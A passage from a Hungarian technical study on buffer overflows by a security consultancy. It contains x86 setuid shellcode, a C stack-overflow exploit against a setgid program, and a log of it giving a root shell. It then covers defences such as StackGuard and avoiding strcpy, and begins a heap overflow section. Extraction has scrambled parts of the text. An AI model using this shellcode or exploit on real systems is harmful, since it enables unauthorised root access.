"x29xdb" "x29xc9" "x31xc0" "xb0xcc" "xcdx80" "x31xd2" "x52" "x68x2fx2fx73x68" "x68x2fx62x69x6e" "x89xe3" "x52" "x53" "x89xe1" "x8dx42x0b" "xcdx80" "xc3" ; // sub // sub // xor // mov // int // sub // sub // xor // mov // int // xor // push // push // push // mov // push // push // mov // lea // int // ret %ebx,%ebx %ecx,%ecx %eax,%eax $0xcb,%al $0x80 %ebx,%ebx %ecx,%ecx %eax,%eax $0xcc,%al $0x80 %edx,%edx %edx $0x68732f2f $0x6e69622f %esp,%ebx %edx %ebx %esp,%ecx 0xb(%edx),%eax $0x80 int main(void) { char buffer[LEN]; long retaddr = RET; int i; for(i = 0; i < LEN; i++) *(buffer+i) = NOP; for(i = 0; i < OFFSET; i+=4) *(long )&buffer[i] = retaddr; memcpy(buffer+(LEN-sizeof(shell))-1,shell,sizeof(shell)); execl("./sample","sample",buffer,NULL); return 0; } SaveAs Információvédelmi Tanácsadó
és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 20. oldal, összesen: 40 O v er f l ow A hibás programot effektív 0 GID jogokkal felruházva, az exploit kódot lefordítva és futtatva a következő eredményt kapjuk: Minta $ ls –la sample -rwxrwsr-x 1 root root $ id uid=1000(user),gid=1000(user) $ ./exploit sh-2.05# id uid=0(root), gid=0(root) 11845 Mar 3 22:05 sample 6.13 Védekezés A tanulmány történelmi áttekintés részéből kiderült, hogy ez a támadási forma a legrégebbi ismert overflow típus. Ennek megfelelően rengeteg védekezési módszer került kidolgozásra (és rengeteg módszer a kikerülésükre). A legegyszerűbben alkalmazható védekezés a Frame Pointer Concept elkerülése, amelyet a GCC –fomit-frame-pointer paraméterével érhetünk el. Az ilyen típusú védekezésre létezik támadási mód, tehát alkalmazása önmagában nem ad biztonságot. Másik módszer a rendszer Stack memóriaterületének
megfelelő védelme, mely szerint letiltjuk a Stack memóriaterületen való kódfuttatást (StackGuard12). Ennek a védekezési módnak is létezik több megvalósítása, amelyek közül némelyre létezik támadási módszer is. Meg kell jegyezni, hogy ez a megoldás a rendszer teljesítményét körülbelül 25%-kal rontja, mert a rendszerkönyvtárak is használják a Stack területen való kódfuttatást optimalizációs célzattal. Érdekes próbálkozás a napjainkban kidolgozott védekezési módszer, mely szerint a felhasználói memóriák címzését úgy alakítja ki a rendszer, hogy az mindenképpen tartalmazzon „ ” karaktert, amely lehetetlenné teszi külső programból idegen cím bejuttatását. A legegyszerűbb védekezési módszer azonban mindenképpen a nem kontrollált méretű memóriamozgató utasítások elkerülése, úgy mint strcpy, strcat, sprintf, stb 12 Immunix StackGuard: http://www.cseogiedu/DISC/projects/immunix/StackGuard/ SaveAs
Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 21. oldal, összesen: 40 O v er f l ow 6.2 Heap Overflow 6.21 A Heap felülírásának módja A Heap memóriaterületen a dinamikusan lefoglalt memóriaterületeken tárolt adatok helyezkednek el. Ezen a területen helyezkedik el tehát minden olyan változó, lista, láncolt lista, amik mérete, tartalmaz, jelentése dinamikusan változhat. Nem rendelkezik tehát olyan védelemmel amely a változók tartalmát megvédené egy másik változótól. Lássunk erre egy példát; Kód #include <stdio.h> #include <stdlib.h> #define SIZE 16 int main(int argc, char *argv[]) { char *buffer1; //dinamikusan foglalt terulet -> HEAP char *buffer2; u long diff; // A ket cim kozotti kulonbseg buffer1 = (char *)malloc(SIZE); buffer2 = (char *)malloc(SIZE); diff = (u long)buffer2 - (u long)buffer1; printf("buffer1 cime: %p buffer2 cime: %p " "A ketto
kozotti kulonbseg: 0x%x ", buffer1,buffer2,diff); // Toltsuk fel a buffert 'A' karakterrel, es zarjuk le memset(buffer2,'A',SIZE-1); buffer2[SIZE-1] = '